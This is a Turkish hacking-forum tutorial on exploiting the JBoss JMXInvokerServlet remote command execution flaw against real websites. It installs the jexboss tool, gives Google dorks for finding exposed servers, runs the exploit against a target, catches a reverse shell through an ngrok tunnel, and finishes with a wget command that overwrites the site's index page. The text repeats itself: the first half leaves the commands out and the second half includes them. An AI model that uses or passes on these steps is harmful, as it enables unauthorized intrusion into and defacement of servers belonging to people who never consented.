- 11 Ara 2020
- 2,616
- 1,516
Merhaba Değerli TurkHackTeam Üyeleri, Bu Gün Sizlerle JBoss Sunucusunda
Remote Command Execution Güvenlik Açığını Öğrenip Birlikte Sömürmeye Çalışacağız!
1-) JBOSS Nedir?
JBoss az kaynak tüketmesi ile ünlü bir uygulama sunucusudur. JBOSS ücretsizdir. Redhat tarafından 2006 yılında JBOSS’u satın alan firma JAVA’nın her sürümünde JBOSS’u günceller. JBOSS büyük projelerde bile kullanılabilir olması proje maliyetini düşürme yönünde katkı sağlar.
2-) Bu Açık Neden Oluşuyor?
/*
* JBoss JMXInvokerServlet Uzaktan Komut Yürütme
* JMXInvoker.java v0.3 - Luca Carettoni @_ikki
*
* Bu kod, JBoss Uygulama Sunucusunda (4.x, 5.x, ...) yaygın bir hatalı yapılandırmadan yararlanır.
* JMX Invoker, varsayılan yapılandırmayla kullanıma sunulduğunda, kötü amaçlı bir "MarshalledInvocation"
* seri hale getirilmiş Java nesnesi, rastgele kod çalıştırmaya izin verir. Bu istismar, "Web Konsolu" kullanılsa bile çalışır.
* ve "JMX Konsolu" korunur veya devre dışı bırakılır.
*
* [SSS]
*
* S: Hedefim savunmasız mı?
* A: http://<target>:8080/invoker/JMXInvokerServlet varsa, büyük ihtimalle istismar edilebilir
*
* S: Nasıl düzeltilir?
* A: "jmx-invoker-service.xml" içinde kimlik doğrulamayı etkinleştirin
*
* S: Bu açıktan yararlanma sürümüne bağlı mı?
* C: Maalesef evet. Bir yöntemi uygun şekilde çağırmak için bir hash değeri kullanılır.
* En azından sürüm 4.x ve 5.x karşılaştırıldığında, bu karmalar farklıdır.
*
* S: Nasıl derlenir ve başlatılır?
* A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java
* java -cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker
* Evet, bu bir Java açığıdır. Bazılarınızın şikayet ettiğini şimdiden görebiliyorum...
*/
3-) Tool Kurulumu
[+] Öncelikle Güvenlik Açığını Sömürebilmek İçin Gerekli Toolumuzu Kuruyoruz
Tooldan Görüntü:
[+] Kurulum İçin Kodlarımız
Toolumuz Artık Kurulu, Hedef Bulmaya Başlayalım
4-) Dork İle Hedef Bulma
Dorkumuzu Aratarak Kendimize Uygun Bir Hedef Seçiyoruz
dorks;
5-) Açığı Sömürme İşlemi
Terminali Açarak Toolumuzun Olduğu Dizine Geliyoruz, Ardından Komutumuzu Yazıyoruz
Ardından Enterliyoruz
Eğer Güvenlik Açığı Var İse Bu Şekilde Bir Ekran Bizi Karşılıyor Ve Terminalde
yes/NO? Sorusu Bizi Karşılıyor Bu Kısımda 'yes' Diyerek Enterliyoruz
* Karşımıza 'IP Address (RHOST):' Çıkıyor, Burada Shellin Bize Geri Dönmesi İçin
RHOST'a 0.0.0.0 Değerini Atıyorum.
* RHOST Değerini Atadıktan Sonra Bizden 'Port (RPORT):' Değerini Atamamızı İstiyor, Bu Kısım İçin Ngrok Kullanacağım (kurulumunu forumda bulabilirsiniz)
* Ngrok Üzerinde 4444 Portunu Açtıktan Sonra Exploit Terminalime Geri Gelerek
RPORT'a 4444 Değerini Atıyorum Ve Enterliyorum
- soru gelirse Enter / Yes Diyin
Ardından Bizi 'Shell>' Karşılıyor, Başarılı Bir Şekilde Sızdık!
Ardından RCE Komutumu Çalıştırarak İndex Basıyorum
- Dizini Bulmak İçin Exploit Terminalinde find / -iname "index.html" diyiniz
enter ve bum
Beni Dinlediğiniz İçin Teşekkürler.
[+] Öncelikle Güvenlik Açığını Sömürebilmek İçin Gerekli Toolumuzu Kuruyoruz
Tooldan Görüntü:
[+] Kurulum İçin Kodlarımız
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
Toolumuz Artık Kurulu, Hedef Bulmaya Başlayalım
4-) Dork İle Hedef Bulma
Dorkumuzu Aratarak Kendimize Uygun Bir Hedef Seçiyoruz
dorks;
inurl:/web-console/ServerInfo.jsp
inurl:/status?full=true
5-) Açığı Sömürme İşlemi
Terminali Açarak Toolumuzun Olduğu Dizine Geliyoruz, Ardından Komutumuzu Yazıyoruz
python jexboss.py -host https://hedefsite.com
Ardından Enterliyoruz
Eğer Güvenlik Açığı Var İse Bu Şekilde Bir Ekran Bizi Karşılıyor Ve Terminalde
yes/NO? Sorusu Bizi Karşılıyor Bu Kısımda 'yes' Diyerek Enterliyoruz
* Karşımıza 'IP Address (RHOST):' Çıkıyor, Burada Shellin Bize Geri Dönmesi İçin
RHOST'a 0.0.0.0 Değerini Atıyorum.
* RHOST Değerini Atadıktan Sonra Bizden 'Port (RPORT):' Değerini Atamamızı İstiyor, Bu Kısım İçin Ngrok Kullanacağım (kurulumunu forumda bulabilirsiniz)
./ngrok tcp 4444
* Ngrok Üzerinde 4444 Portunu Açtıktan Sonra Exploit Terminalime Geri Gelerek
RPORT'a 4444 Değerini Atıyorum Ve Enterliyorum
- soru gelirse Enter / Yes Diyin
Ardından Bizi 'Shell>' Karşılıyor, Başarılı Bir Şekilde Sızdık!
Ardından RCE Komutumu Çalıştırarak İndex Basıyorum
- Dizini Bulmak İçin Exploit Terminalinde find / -iname "index.html" diyiniz
wget indexbulunduğuyer -O dizin/index.html
enter ve bum
Beni Dinlediğiniz İçin Teşekkürler.
Son düzenleme: